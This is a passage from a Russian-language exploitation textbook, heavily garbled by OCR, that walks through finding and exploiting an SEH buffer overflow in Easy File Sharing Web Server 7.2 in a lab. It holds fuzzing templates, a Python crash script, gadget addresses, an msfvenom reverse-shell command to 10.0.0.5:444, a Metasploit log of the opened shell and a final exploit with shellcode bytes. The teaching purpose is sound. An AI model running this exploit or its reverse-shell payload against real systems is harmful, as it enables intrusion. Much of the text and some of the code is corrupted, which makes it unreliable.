IIpeaoTBPATUTD, UCITOJIb3Yy sl 3alUIIeHHBINA OT UCIIOJTHEHUST CTEK.

JIJ1sT OCYTIECTBIIEHTS TAKOTO BU/IA ATAKH OY/IET TOCTATOUHO TTEPE3ATNCcaTh apec BO3-
Bparta azipecoM (hYHKITNHI, KOTOPYIO HEOOXOINMO BHI3BATD, 3ATIOJHUTD STYEHKY ajpeca
BO3BpaTa BbI3bIBAeMON (DYHKIIMU CJIydaliHBIMU JJAHHBIMU — <3alJIYIIKOI», @ B KOHIIE
3a/1aThb [TapaMeTpbl BbI30Ba (DYHKITMH.

X Peructpbl
IP R
SP w
Y BP P
napametp,
napametp_
«3arnyLKa»
W | Q—&libfunco «— 5P
W’ | P

Puc. 15.9. Ataka Bo3BpaTa B 61Mbnnoreky

Ha puc. 15.9 nokazano cocrostiue 6ydepa U perucTpoB MocJe MpoBEAeHNsT aTaku
BO3Bpara B OMOIMOTEKY MOCITE BTOPOTO Iara ammiora. HopManbHoe COCTOSTHIE CTeKa
HA AaHAJIOTUYHOM IIIare TTOKaszaHo Ha puc. 15.5. Hauambubrit agpec 1mesneBoit QyHKITNH
libfunc() — Q — Gyzer 3amecen B ykaszaTenh HHCTPYKITN Ha TPETHEM IIATe THIOTA
ornepatopom POP 1o agpecy R. Eciin gaHHyIo cuTyaliio cpaBHUTH ¢ ©300pasKeHHOI
Ha puc. 15.5, MOKHO 3aMETHUTb, YTO TTapaMeTphl s Bbizoa libfunc() casunyTs
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BBEPX Ha OJTHO CJIOBO, — 9TO HEOOXOIMMO JIJIST YCTAHOBKH «3arIynikus». HTepecHo,
9TO MOJJIE/IbHOE 3HAUEHHE yKa3aTest hpeiiMa P GyieT cHOBa 3aHECEHO B CTEK TTOCTIE
BbinonHeHus mpoJora ¢yukuuu libfunc(). B saBucumoctu ot OC, apxXUTEKTYpbI
U 11eJIeBOi (DYHKITMHU TIPOTIECC HAXOMKACHUST ajipeca HYKHON (DyHKIIUU MOKeT ObITh
3aTpy/IHeEH, HO 9TO, 6e3yCTOBHO, BIIOJIHE BRITIOIHIMAS 33/1a4a.

MepenonHeHne AnHaMuyeckon obnacTn NnamMaTm

Bemomunm, uro nipu nomony ¢yukimr malloc() mporpamma MosKeT 3arpaniiBaTh
HeoOXOUMOe KOJIMYEeCTBO HaMATH B [uHamudeckoil obuacru (heap), a mociie uciou-
Henust Bosppaiiath OC ynpasJieHne HaJl TaHHOI 00JIACTBIO TIPU MOMOIIH (DYHKIHN

free().

Eci1 BbI MOKeTe pasMeCTUTh B naMAaT Oydep, To, CIeI0BATENbHO, KTO-TO CMOKET
a10T Oydep nepenoannuts. OQHAKO BBIIIOJHEHNE aTaKy, HAIIPABAEHHON Ha IEPEIoI-
HEHUe HaXOJSIIerocst B AnHaMU4IecKoil obmactu Gydepa, OTIMIaeTcst OT TAaKOBO
pu pacrosoxkernu 6ydepa B creke. OTJIHYNE COCTOUT B TOM, UTO BbI HE HalijieTe
yKasareJb (ppeiiMa 1 ajgpeca Bo3Bpara, KOTOPbI MOKHO ObLIT0 GbI TIepesaricarh,
4yTOGBI 3aTEM HALIPAMYIO 0OPATUTHCS K BHEAPEHHOMY 3JI0YMBILILIEHHUKOM KOLIY.
Ho, k coxxanenuio, aTo He criacaet OT POBe/IEHN aTaK.

B ocHOBe JIe:KUT yrke 3HAKOMAs HaM cUTyalus. ECTb HeocTaTOUHO 3aluIeHHbBIIT
6ydep, B KOTOPOM He peai30BaHa HaJlesKaliM 00pa3soM IPOBEPKa BO3MOKHOCTH
BBIXOJIA 32 TIPEJIENThl BbI/IeJIEHHON aMsATH. Takyke UMeTCs yIacTKU, KOTOPbIE TTPO-
rpaMMa UCIIOJIb3YeT, XOTs OHU HAXOIATCs 3a MpaHuIlell BbIAeJIeHHON eli obmacTu
MaMsTH, Ky/a 3JI0YMbIIIIJIEHHUK MOKET 3aHECTU TIPOU3BOJIBHbBIN KOJI.

JlJtst peasmsaiiiy Halero mojaxoia Mel Gyjgem paboraTh ¢ cekiusmu data u bss.
B xadecTBe iprMepa MpuBeeM BEKTOP aTaKu ¢ UCTIOJb30BAHUEM 3JI0YMBILIEHHU-
KOM TiepernosiHenust Gydepa st ToJIMEeHbI UMEHH BPEMEHHOTO (haiiia, ¢ KOTOPBIM
paboraer mporpamMMa. XpaHUJIUIIEM /TSI BDEMEHHBIX JJAHHBIX MOKET OBITH KOH-
dburypanronubiii (aiin (aitepBosia uiau cucteMbl OOHAPYKeHUs atak. B ciydae
TaKOU MOAMEHBI 11eJIEBON (Dailst OyIeT mepesaricad BpeMEHHBIMU JaHHBIMU, 1, B 3a-
BUCUMOCTH OT CTETEHU 3aIIUTHI [[EJTE€BOI CUCTEMBI, 9TO MOJKET ITPUBECTU K CAMBIM
CEPbE3HBIM MOCJIEACTBHUAM BILIOTH /IO TOTO, YTO CUCTEMA 3AIMUThI MOXKET TIPECTATh
(YHKITMOHUPOBATH BOOOIITE.

Xopomum IpuMepoM aTaku repenosHenust Oydepa MOKeT cTaTh METOJ C Hepe-
3ammnchio yKasaresst QyHKIni. Ykasareab GYHKINHE COAEPKUT HAUaIbHBIH agpec
byuxunn. Bo Bpemst omucanust ykasaressi GYHKIUHE B IPOTPAMMe 3a/Ia€TCsI THIT
¥ KOJIMYECTBO T1aPaMeTPOB /ISl €€ BI30Ba. B HEKOTOPBIX CIIydasix OMHUCHIBAIOTCS
BO3BpaIlaeMble JaHHble. Ykazareaun hyHKIUN YIO0GHDI, €CJIU Y BaC €CTh ST BBITOJIHS-
IOIMX OIMHAKOBbIE 3a/1aul (DYHKIMH, a BAM HY’KHO YKa3aTh KOHKPETHYIO (DYHKI[HIO
JUUISE BBITIOJTHEH VST KOHKPETHOI 3a/1a4it BO BPEMsT UCTIOJTHEH ST TPOTPAMMBbI (CKasKeM,
(bYHKIUY [UIST COPTUPOBKH, YYUTHIBAS, YTO KaK Il aJITOPUTM UMEET CBOU CUIIbHBIE
u cabble CTOPOHDI).
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3H0yMbILHJI€HHI/IKa MaHHbIE TTapaMETPbl HE MHTEPECYIOT, €EMYy BaKHO y3HATDh aJipec
B ykazaresie dyukiuu. OH MOMBITAETCS 3aMEHUTD €r0 YKA3bIBAIOIUM Ha HAYAJIO0
006JIaCTH TIAMSITH, B KOTOPOH y3Ke HAXOJMTCSI BPEIOHOCHBIN TeI-Ko/. [lJist TIOBbI-
HIeHnA BEPOATHOCTU TPOBEICHUA yCHeIHHOfI aTaK1 MOJKHO HCIIOJIb30BaTb ME€TO/Ibl,
omcantbie B paszene «Pa3buenne crexas.

[puMep HaxoXxaeHus 1 aKCnyaTauum
YS13BMMOCTU nepenonHeHus bydepa

PaccMoTpuM mpuMep HaxXOKAEHMs! YSI3BUMOCTH TiepenoJiHeHus Oyepa B mporpam-
me Easy File Sharing Web Server 7.2. ToToBbIil 9KCIITOUT MOKHO HaliT Ha https://
www.exploit-db.com/exploits/40178/, HO MbI IOBTOPUM €T0, HAUMHAasl ¢ HaXOXK/IEeHU
YSI3BUMOCTH M 3aKaHUYMBasl yIaJeHHBIM BBIIOJTHEHEM Koja. [laBHO 0OGHapy KeHHast
YSI3BUMOCTD MI€AIbHO MOAXOANT /I OOy IEHMSL.

IIJIH TIOMCKaA YA3BUMOCTHU 1 HAIITMCAHUA 3KCHJIOﬁT-KOIIa HeO6XOIII/IM3 TECTOBadA Cpea.
B IIaHHOfI AEMOHCTPAITNN MbI UCITOJIb3YEM IBE€ BUPTYAJIbHbIC MAIlIMHDI:

e Windows 11 Pro 64-bit ¢ ycranosienunim Ollydbg mist anamusa paborsr npu-
JIOFKEHUST U HATTCAH WS 9KCILIONT-KOIa;

e Kali Linux ¢ Metasploit Framework s resepanuu miejui-koma (1oJiesHoii Ha-
IPY3KHU) U JAPYTHUX 33/1a4 110 MePe HAIUCAHUS IKCILIONT-KO/A.

Jlist GoJiee IeTaIbHOTO O3HAKOMJICHUSI C TEMOM BBITIOTHEHUS aTak, HATPABJICHHBIX HA
nepermnoJjHeHre Oydepa, peKoMeHyeM Hauathb co ctparniisl «Corelan Team: Exploit
writing tutorials» (https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-
part-1-stack-based-overflows/).

I/ITaK, TIPUCTYNUM K HaXOK/ICHUIO YA3BUMOCTH.

O6e BUpTYaIbHbIE MAIIUHBI HAXOAATCS B OJHON JIOKATBHON CETH 1 UMEIOT CJIEIY-
onue aapeca: Kali Linux — 10.0.0.5/24; Windows 11 Pro (Easy File Sharing Web
Server) — 10.0.0.6/24.

[TpoBepum, 4TO IPUJIOKEHNE AOCTYITHO C Halllel aTakyiomeil Mamuib (puc. 15.10).

Pacemorpum HTTP-3ampoc, oTiipaBiisiemMblii /17151 3a1Tpoca IAaHHOM cTpaHuIlbl (MOKHO
nepexBatuThb ¢ nomoribio Wireshark nim mpokcn):

GET / HTTP/1.1

Host: 10.0.0.6

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101
Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp, */*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close
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0 B 10.0.06

[
g& User Lagin

Note; Username and Password are case sensiive.
Password. | 1 forges my password
Logint | [J memember me

fegin 04 0 uest | secure ooin

Poestdby Eissy Fle Sl g W Seme
Copyift € 201268 Sz b

Puc. 15.10. Be6-nHTepdelic Easy File Sharing Web Server

Byzem ucronb30BaTh JaHHBIN 3aIPOC TSI TOUCKA YSI3BUMOCTH MEPETIOJHEHNUsT OY-
depa myTem assuHra, To ecThb repebopa pasJInuHbIX 3HAYEHUI B PAa3JIMIHbIX MECTAX
3arpoca.

[lannbiii 3anpoc gBrasiercs crangapTabiM HTTP GET-3ampocoM, B KOTOPOM MOKHO
BBIZICJTUTD IEPEMECHHDBIE 110 CJACAYIOMIEMY ITPUHITUITY:

GET / HTTP/1.1

Host: 10.0.0.6

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101
Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp, */*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

MoskHO 1po00BaTh U3MEHSTH BCE HapaMeTpbl 3aIlpoca, HO I Hadajla IoIpodyeM
usMeHuTh ToJ1bKO Path, Host, User-Agent.

Ins daszsunra ucnonapsyem Spike (moapo6Ho omucan Ha http://resources.
infosecinstitute.com/intro-to-fuzzing/#gref). Co3nagum TeMILIeilT /Iy IONCKa ysI3BU-
MOCTH:

s_string("GET");
s_string(" ");
s_string_variable("/");
s_string(" ");
s_string("HTTP/1.1");
s_string("\r\n");

s_string("Host: ");
s_string_variable("10.0.0.6");
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s_string("\r\n");

s_string("User-Agent");

s_string(": ");

s_string_variable("Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101
Firefox/102.0");

s_string("\r\n");

s_string("Accept");

s_string(": ");
s_string_variable("text/html,application/xhtml+xml,application/xml;q=0.9,image/
avif,image/webp,*/*;q=0.8");

s_string("\r\n");

s_string("Accept-Language");
s_string(": ");
s_string("en-US,en;q=0.5");
s_string("\r\n");

s_string("Accept-Encoding");
s_string(": ");
s_string("gzip, deflate");
s_string("\r\n");

s_string("Connection");
s_string(": ");
s_string("close");
s_string("\r\n\r\n");

B kauecrBe ambrepHaTuBbl Spike MoxkHO 0OpaTtuThes K Moyt Intruder Burp-
npokcu (puc. 15.11 u 15.12).

1 = 2%+

Positions Payloads Resource pool Settings.

@ Choose an attack type

Attack type:| Sniper

(® Payload positions
Configure Lhe posilions where payloads will be inserted, they can be added into Lhe Larget as well as Uhe base requesl.

Target: | httpdf0.0.0.6

GET §/§ HTTP/1.1

Host: 518.8.0.6%

User-Agent: §Mozillas5.@ (X11; Linux x86_64; rv:102.0) Gecko/20120101 Flrefox/le2.@§

Accept: Btext/html applications/xhtml+xml application/xml;q-8.9 image/avif image/webp, */*;q-0.8%
Accept-Language: 5en-US.en:q-2.5%

Accept-Enceding: Sgzip, deflated

Cannection: Sclosel

upgrade Insccure Kequests: 1

o0 0wl O W B W R

Puc. 15.11. Burp Intruder — npumep KoHdwurypaumm ansa dassuHra
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Positions Payloads Resource pool Settings

(3) Payloadsets

You can define one or more payload sets. The number of payload sets depend:
customized in different ways.

Payload set: |1 v| Payload count: 199

Payload type: | Character blocks. w | Request count: 1,393

@ Payload settings [Character blocks]
This payload type generates payloads based on blocks of a specified character]

Base string:
Min length: EI
Max length: @
Step: EI

Puc. 15.12. Hactpolika nonesHon Harpysku B Burp Intruder

[Tpu 3anycke Spike mpuiosxkenve Ha TTEPBOM JKe MapamMeTpe BBIAET OMMOKY
(puc. 15.13).

g

80 http.spk 0 0

Puc. 15.13. ®az3uHr co Spike

B caryuae ¢ Burp momenT oTkasa npusioskenust Buzen gydire (puc. 15.14).
IMepesanycrum npuioxenue 1 noaxaournm Ollydbg k mporecey (puc. 15.15).

3anycrtus Burp Intruder win Spike cHoBa, nosrydaeM HHGOPMAIIUIO O COCTOSTHUN
npuIoKeHnst B MOMeHT omubku. CocTosiHIe PErncTpoB mokasaHo Ha prc. 15.16.

YauThIBast COCTOSIHUE PETUCTPOB U TO, UTO ONITHOKA MOSIBJISIETCSI TIPU [IEPBOM K€ 3a-
mpoce ot Spike
Fuzzing Variable 0:1

Variablesize= 5004

a Burp moxkassiBaer, uTo ommnbKa mosiisiercst npu ormpaske 4100 cUMBOJIOB, MOKHO
cliesIaTh BBIBOJL, UTO OIMMOKa BhI3BaHa TepenosiHeHreM Oydepa B mepeMeHHoit Path
HTTP GET-3anpoca c giunoit 5000 ciMB0OJIOB «A».
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= 1 ~wwu — — g
BU 1 4050 % A 400 (] O s
3l 1 A100xA ()] @]
(7 1 4150 %A ] ]
83 1 420037 O 0
24 1 AISOWA (] ]

Request

Pretty Raw Hex:
1 GET

AAARAAAAAARRAAAAAAARAAAAAAAAAAARAAAAAAARAAAAAAARAAAAAAARAARAAAAAAAAAAARAAARAAAAAARAAAAAAARARARAAAAAAAARAARAAARAAAAY
AAARAAAAAARRAAAAAAARAAAAAAAAAAARAAAAAAAARAAAAAARAARAAAAAAAAAAARAAAAAAARAAARAAAAAARAAAAAAAAARARAAAAAAAARAARAAARAAAAY

AAARAAAAAARRAAAAAAARAAAAAAAAAAARAAAAAAAARAAAAAARAAAAAAARAARAAARAAAAAAAAAAARAAAAAAAAAAAAAAAARARAAAAAAAARAAA HTTP/ Y

Host: 18.8.R.6

User-Agent: Marilla/5.8 (¥11; Linux xB6_64; tv:1A2.08) Gecke/?8100101 Fitetox/102.0

Accept: text/html, application/xhtmlixml, application/xml:q-8.9, image/avit, image/webp,*/*;q-0.8
Accept-Language: en-Us. en:g-¥.%

Accept Encoding: gzip, deflate

Connection: close

Upgrade Insccure Requests: 1

[ T

Puc. 15.14. MoMeHT 0TKa3a npuioxeHus B Burp

ioll":[)bg fsws.exe - [CPU - thread 00002004, medule ntdll]

g File View Dcbug Plugins Options Window Help

Slex| inf sgx) e W) o lEjmjT|win|c]s]k|B|R|.|s| =R
e -

77 Select process to attach

il Wi Fath

77 [ 0BE0R0SC| £ ows Sucket HOLITiGat ion Sink | CinEFS Suf lware Easy File Sharing Web Serverfsws,sme

77| 00002224| GoosleCr CisProgran [iles (00} Gooale Updste 1.3, 26,242 Goog leCrashiandler . ene
il

i}
Fi
i
Puc. 15.15. Moakntoyenune OllyDbg k npoueccy
Registers (FPLUI £ £ £ 4 4 4 4 £ £ £ £

ERy 41414141
ECH FFFFFFFF
ED¥ BSFESFAC ASCII ™select # from saltable where name=" ARARARARRARAAAAARRARARABARAARARARRARARAAR
EBH BOBOEEE1
ESF BSFESFEE

EDI @3FESFAC ASCII "select # from saltable whers name=" ARARRARARRARRAAARRARRRRAARARAARRRAARARRARARAAR
EIF 61C277FE sqlite3.61C277FE

Puc. 15.16. CocTosHMe perncTpoB B MOMEHT OLUINOKM

IToBTOpPUM TAHHYIO OTTHOKY, HO YK€ MCTIOMb3YST CKETETHBIH BAPHAHT IKCIIIONT-KO/Ia
(B JAaHHOM cJly4ae HalMCcaHHOro Ha a3bike Python):
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#!/usr/bin/python3
import socket
import sys

import struct
import time

host='10.0.0.6"
port=80

try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
except:
print("socket() failed")
sys.exit(1)

s.connect((host,port))
PAYLOAD="A" * 5000

evil = "GET " + PAYLOAD + " HTTP/1.1\r\n"

evil += "Host: 10.0.0.6\r\n"

evil += "User-Agent: Mozilla/5.0\r\n"

evil += "Connection: keep-alive\r\n"

evil += "Accept: text/html,application/xhtml+xml,application/
xml;q=0.9,*/*;9=0.8\r\n"

evil += "Accept-Language: en-us,en;q=0.5\r\n"

s.send(evil.encode())
s.close()

Véenumcst, uto ommbka rosTopsiercs (puc. 15.17).

e g SvEr s wus = < < = = = =
ERX 41414141
ECH FFFFFFFF
ED: B4FFEFAC ASCII "select # from sgltable where name=" ARARRRARARRRARAARARAR
EEX Q@aDEEe:1
ESF B4FFSFaa
EBP B4FFEF18
ESI B4FFEF24
EDI @4FFEFAC ASCII "select # from sqltable where name="HAARARARRRARRARRARRA

EIP 61C277F6 salite3.610277FE

CoG OO Amtn Ao ie GfCCCCCCCC)

Puc. 15.17. MNosTopeHue owmnbku

PaccmoTpuM 9Ty ommbOKy AeTanbHee:
o EIP ne neperncan (ne AAAA wim 41414141);
Ha yacthb 6ydepa ykasbisatoT peructpbl EDX u EDI (Ho He Ha Hauaio);

°
e EAX ykasbiBaer Ha nepenucanubiii agpec (41414141);
[
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SEH (puc. 15.18 u 15.19) niepemnucan, uto u BbI3BaI0 ouOKyY. BoJibiie uHdOp-
marnu o SEH MoskHO Haliti 31ech: https://www.corelan.be/index.php/2009/07/25/

writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/).
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(€] Fite [View] Debug  Plugine (phons  Window  Help
@4 Log aml |LJEIM Tjﬂfjgﬂjlﬁjnhﬂnisliﬂl@
Executsble modules  AleE  fEacie -
Memaory AlteM
oy S o e e
Threads f-lt‘q ka3, ca bl e
i
Windows
Handles
oPu AR+ C
P 1~ Ctrle P (Cora]
Call stack LI ]
it nts PO [ b
reakpoi teol
Watches Ligo>
References
Thad,

Puc. 15.18. lNMpocmoTtp SEH

3uauenue SEH:

(8 SEH chain of thread 000... = |[-E-| 3]

Address |SE handler -~

B3FEEFAC| 41414141
_— O

Puc. 15.19. 3HayeHne SEH B MOMEHT OLWNOKK

Heo6xoaumo Haiitu offset 10 SEH overwrite-a. [IJist 3TOro Mbl HCTIOJIB3YEM YTUIIATY
Metasploit Framework: pattern_create.rb u pattern_offset.rb. B pesyssrate onpeze-
nstem, uto SEH mepermceiBaetcst, HaunHast ¢ 4065-To cuMBoJIa:

root@kali:~/easyfilesharingweb?7.2# /usr/share/metasploit-framework/tools/
exploit/pattern_offset.rb -1 5000 -q 46356646
[*] Exact match at offset 4065

V3MensieM Halll 9KCILIOUT-KO/I, YTOObI IIOATBEPAUTD KOHTPOJIb Hay SEH:

PAYLOAD="A" * 4065 + "BBBB" + "C" * 931;

B pesymsrate Bupnm, uto SEH nepernican koppektro: 42424242 (BBBB).

JlIs1 yCIIemHoro BhIIOIHEeHNA Koga HaM Heobxoqumo Haiitu POP, POP, RET mo-
CJIEZI0OBATENLHOCTD B 3arPY’KEHHBIX MOJYJISIX, /It KOTOPBIX He BKiodyeH SafeSEH,
a TaKKe TIPOBEPUTH, UCTIOMb3yeTcs T ASLR 17151 Moty ieit (1anHbie MEeTO/IbI 3aIUATEI
PEKOMEH/LYETCST M3YIUTh OAPOOHEE).

SafeSEH moskHO poBeputsb, ucnonbayst Plugin 8 OllyDBG (puc. 15.20).

ASLR MOXHO MPOBEPUTD, CPAaBHUB aJIpeca 3arpysKaeMbIX MOAYJIEH MeX1y Tepesa-
ITyCKaMy MPUJIOsKeHNsT 1 Tiepe3arpyskoit OS.
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File

JEXE
View Debuy

Plugins | Oplivns  Winduw  Help

CPU - thread

1 Bookmarks
2 Command line

3 SaleSEH

v [E[M[T]W]H]c]/]K][B]1

»

CALL <qlive3.elcareze
TEST EAX,EAX
SHOR 0 &

Puc. 15.20. cnonb3oBaHue nnarnHa SafeSEH B OllyDbg

s e g = =—ew
#8afeSFH MFF PuhlCARARA | ALATA99ARRA (R.R.R.3 CewFFS Snftuare’Fasy File Sharing lleh Seruerianlitel. Al
~3afeSEH OFF |Gz 10808008 |8: 10856858 C:EFS Software~Easy File Sharing Web Server-Imageload.dll
#SateSEH Ubk [eatta Hxbe ua 4.9, 8k LiMERS Sottwaresbasy File Sharing Web bel'wr\LlltHVdd dit
“SafcBEH OFF B 1880083 BuEo2830 7,2, 8 8 Ci~EFE Softwarc Easy Filc Sharing Web Scrversfouc.cuc

B pesynbrate:

Puc. 15.21. Moaynu 6e3 BkitoveHHoro SafeSEH

o Moy 6e3 Briouernoro SafeSEH (puc. 15.21);

e nposepka Ha ASLR (mepesarpyska Windows) (puc. 15.22).

~SafeSEH OH
#sateStH UFkE
~3afeSEH OFF
“SafefEH OFF
sSafeSEH OFF

B 77670000
B b lodiady
B 10000808
B EJ0Ged
8400008

B 7762000
[0y Cep o
B 10850008
Buée 7000
Bx5c208a

7
N
2

6.1
EN-N
8.9.2k
7

Be.

5 Egﬁ. 16385 (win7_rtn. 850713

a

C “Windows SYSTEMZ2 sechost. dl L

FLle sharing Meb Servertsalited.dil
File Sharinyg Wel ServerInageluoad.dll
File Sharing Web ServerLIBEMYZ2.
File Sharina Web Server“fsws.exe

“EFS Sottwarentasy
C ~EF3 Suf tware Easy
Ci1%EFS Software Easy
C:“EFS Sof tware“Easy

dil

Puc. 15.22, MNposepka Ha ASLR — agpec B NamMATn He N3MEHUICS

ASLR He BKJIIOUEH BO BCEX UCTIOTHAEMBIX (haiiax 1 6ubanoTeKax cepsuca.

Teneps Haiinem Hencnonbzyembie POP, POP, RET komGuHamu (OTJIMdHast 1ejib —
sqlite3.dll): B sqlite3.dll neneii wer, 3aTo ux MmHoro B ImageLoad.dll.

/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/bin/msfpescan -p
Imageload.dll

0x10021bca
0x10021fdc
0x10021ffe
0x10022108
0x1002215b
0x10022369
0x1002237d
0x10022391
0x10022433
0x10022512

pop
pop
pop
pop
pop
pop
pop
pop
pop
pop

ebx;
ebp;
ebp;
ebp;
ebp;
esij;
esi;
esij;
esij;
esij;

pop
pop
pop
pop
pop
pop
pop
pop
pop
pop

ecx;
ebx;
ebx;
ebx;
ebx;
ebx;
ebx;
ebx;
ebx;
ebx;

ret
ret
ret
ret
ret
ret
ret
ret
ret
ret

[Tonpobyem ucnoabzosars agpec 10021BCA (puc. 15.23).
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Address |SE handler
HE2E6FAC

Puc. 15.23. MNoareepxaeHune, uto SEH ycnewHo nepenncaH Ucnonb3yemMblM aapecom

SEH nepesanucan yjauso.

Jlocturnyra Touka npepbiBanus. [Tonagaem Ha 4 Gaiita 710 HepernyucaHHOrO HaMu
SEH (puc. 15.24).

41 IHC ECH
GEZBEFAD| 41 IMC ECH
BEZBSFRE| 41 IMC ECH
BEZBSFAF| 41 IMC ECH
BS2BEFEE| CH 1BSZ RETF z21E Far return
BEZBEFES| 1843 43 AOC EBYTE PTR DS:[EBX+421,AL
BEZBSFEE| 42 IHC EBX

Puc. 15.24. SEH nepe3anucaH ygauHo

Teneps onpobyem «IepenpbiriyTh» yepes SEH, nepesanucarp ero, HCroJbayst
Hepexo/l 110 YCJIOBUIO, U 3alIUcaTh Ty/la HaII eJII-KOJL.

[Tposepum namuuue «mmoxux» cumBoJioB (put 01-FE-cumBosbr ocsie SEH-
nepesarnucu): 253 GaiiT.

added \x20 - npoben - "nnoxon" cumBon

added \x25 - % "nnoxoi" cumBon

added \x2b - + "nnoxoi" cumBon

added \x2f

added \x5c - \

Bce «mmoxues» cuMBOJIBI HAWi/IEHBI.
[Monpobyem \x76\x06\x77\x04 1151 Iepexoaa BIepe;I.

Jlyuiie iepeiitu Ha 6 6aiit, a He Ha 4. B 71060M cJiydae Mbl BBIXOAUM U3 KOHTPOJIU-
pyemoro mpoctpaHcTsa (puc. 15.25).

S 0o ] e n] i ] e ] T [ [mf T [wlm]c]/[K[B]
BEASEFAE| 41 THC ECH

BEAZSEFAC |~ 7E G5 JEE_SHORT BSESEFEY

BEASEFAE |77 B4 JA_SHORT BSB2EFE4

BEASEFEE| CH B2 RETF Z1E Far return
BSASEFES| 16899 9A%@9696 | ADC BYTE PTR DS: [EAX+9G38365@1, DL

BERZEFES| 98 HOF

BEASEFER| 98 HOF

BEASEFEE| 96 HOF

BSESEFEC| 28 HOF

BERSEFED( 28 HOF

BEESLFEE( @la2 HOD' DWORD PTR OS: CEQK], EAX

HEESEFCE| B30465 DeE7E5E% A00 ERH, DWORD PTR OS: [ERE+985E7E6]

BSESEFCT( BRAAE OR CL.EBYTE PTR DS:[EEX]

BEASEFCS] AC A0 OF_AL. 60

Puc. 15.25. Bbixoa 13 KOHTPOIMPYEMOro npoCcTpaHCTBa

ﬂO6aBI/IM TIEeJII-KOZA — U IMMOJIYYUM AJOCTYII K KOHCOJIN Ha LIGJIGBOﬁ CUCTEME.
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CFGHGPHPyeMﬂHeHH-KOH,HCHOHBSyHIHﬂVeHOHl663«HHOXHX»CHMBOHOB

msfvenom -p windows/shell/reverse_tcp lhost=10.0.0.5 -b "\x00\xff\x20\x25\x2b\
x2f\x5c" lport=444 -f python -v shellcode

TloGasiisieM mresui-kox v ipodyem. Ham Bee yaamocs!

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.0.0.5:444

[*] Encoded stage with x86/shikata_ga_nai

[*] Sending encoded stage (267 bytes) to 10.0.0.6

[*] Command shell session 1 opened (10.0.0.5:444 -> 10.0.0.6:49971) at 2023-05-
23 19:47:52 +0000

Shell Banner:
Microsoft Windows [Version 10.0.22000.1574]

C:\Users\test\Desktop>

Eme pa3 paccMoTprM TOTOBBIH 9KCILIOUT ¢ KOMMEHTAPUSIMU:

#!/usr/bin/python3
import socket
import sys

import struct
import time

host="'10.0.0.6"
port=80

try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
except:
print(“socket() failed")
sys.exit(1)

s.connect((host,port))

# Metasploit generate shellcode generated with command: msfvenom -p windows/
shell/reverse_tcp lhost=10.0.0.5 -b "\x00\xff\x20\x25\x2b\x2f\x5c" lport=444
-f python -v shellcod

#Payload size: 381 bytes

#Final size of python file: 2100 bytes

shellcod = b""

shellcod += b"\xdd\xc@\xd9\x74\x24\xf4\x5d\xba\xbc\xe9\xe2"

shellcod += b"\xed\x33\xc9\xb1\x59\x31\x55\x19\x03\x55\x19"

shellcod += b"\x83\xed\xfc\x5e\x1lc\x1le\x05\x11\xdf\xdf\xd6"

shellcod += b"\x4d\x69\x3a\xe7\x5f\x0d\x4e\x5a\x6f\x45\x02"

shellcod += b"\x57\x04\x0b\xb7\xec\x68\x84\x86\x0d\x83\x63"

shellcod += b"\xa2\xd7\xaa\x4b\x9f\x24\xad\x37\xe2\x78\xod"
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shellcod += b"\x09\x2d\x8d\x4c\x4e\xfb\xfb\xal\x02\x77\x51"
shellcod += b"\x2d\xf4\x0c\x14\x71\xfb\xc2\x12\xc9\x83\x67"
shellcod += b"\xe4\xbd\x3f\x69\x35\xb6\x88\x71\x3e\x90\x28"
shellcod += b"\x83\x93\x70\xac\x4a\x67\x4c\xe7\xc7\xbc\x27"
shellcod += b"\xf6\x01\x8d\xc8\xc8\x6d\x42\xf7\xed\x63\x9a"
shellcod += b"\x30\xc2\x9b\xe9\x4a\x30\x21\xea\x89\x4a\xfd"
shellcod += b"\x7f\x0d\xec\x76\x27\xe9\x0c\x5a\xbe\x7a\x02"
shellcod += b"\x17\xb4\x24\x07\xa6\x19\x5f\x33\x23\x9c\x8f"
shellcod += b"\xb5\x77\xbb\x0b\x9d\x2c\xa2\x0a\x7b\x82\xdb"
shellcod += b"\x4c\x23\x7b\x7e\x07\xc6\x6a\xfe\xe8\x18\x93"
shellcod += b"\xa2\x7e\xd4\x5e\x5d\x7e\x72\xe8\x2e\x4c\xdd"
shellcod += b"\x42\xb9\xfc\x96\x4c\x3e\x75\xbo\x6e\x90\x3d"
shellcod += b"\xd1\x90\x11\x3d\xfb\x56\x45\x6d\x93\x7f\xe6"
shellcod += b"\xe6\x63\x7f\x33\x92\x69\x17\xb6\x62\x6e\xe2"
shellcod += b"\xae\x60\x6e\xed\x92\xed\x88\xbd\xba\xbd\x04"
shellcod += b"\x7e\x6b\x7d\xf5\x16\x61\x72\x2a\x06\x8a\x59"
shellcod += b"\x43\xad\x65\x37\x3b\x5a\x1f\x12\xb7\xfb\xe0d"
shellcod += b"\x89\xbd\x3c\x6a\x3b\x41\xf2\x9b\x4e\x51\xe3"
shellcod += b"\xfb\xb0\xa9\xf4\x69\xb0\xc3\xfO\x3b\xe7\x7b"
shellcod += b"\xfb\xla\xcf\x23\x04\x49\x4c\x23\xfa\x0c\x64"
shellcod += b"\x5Ff\xcd\x9a\xc8\x37\x32\x4b\xc8\xc7\x64\x01"
shellcod += b"\xc8\xaf\xd@\x71\x9b\xca\xle\xac\x88\x46\x8b"
shellcod += b"\x4f\xf8\x3b\x1c\x38\x06\x65\x6a\xe7\xf9\x40"
shellcod += b"\xe8\xe@\x05\x16\xc7\x48\x6d\xe8\x57\x69\x6d"
shellcod += b"\x82\x57\x39\x05\x59\x77\xb6\xe5\xa2\x52\x9f"
shellcod += b"\x6d\x28\x33\x6d\x0c\x2d\x1e\x33\x90\x2e\xad"
